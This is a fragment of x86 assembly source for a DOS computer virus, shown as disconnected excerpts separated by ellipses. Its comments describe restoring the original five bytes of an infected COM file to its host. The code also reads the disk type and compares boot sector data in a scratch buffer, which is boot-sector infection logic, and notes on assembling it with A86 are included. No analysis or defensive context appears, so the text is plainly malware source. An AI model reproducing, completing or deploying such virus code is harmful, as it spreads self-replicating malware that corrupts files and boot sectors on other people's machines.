... address of the virus mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)] ;restore mov WORD PTR [HOST],ax ;5 orig bytes of COM file to start of file mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET ... sectorRB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START) mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86 mov al,BYTE PTR [bx] ;get disk type of disk being cmp al,80H ... these push di cld mov di,OFFSET BOOT ;set up for a compare; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT - OFFSET BOOT_START) mov si,OFFSET SB_BOOT ;required instead of ^ for A86 mov cx,15 repz...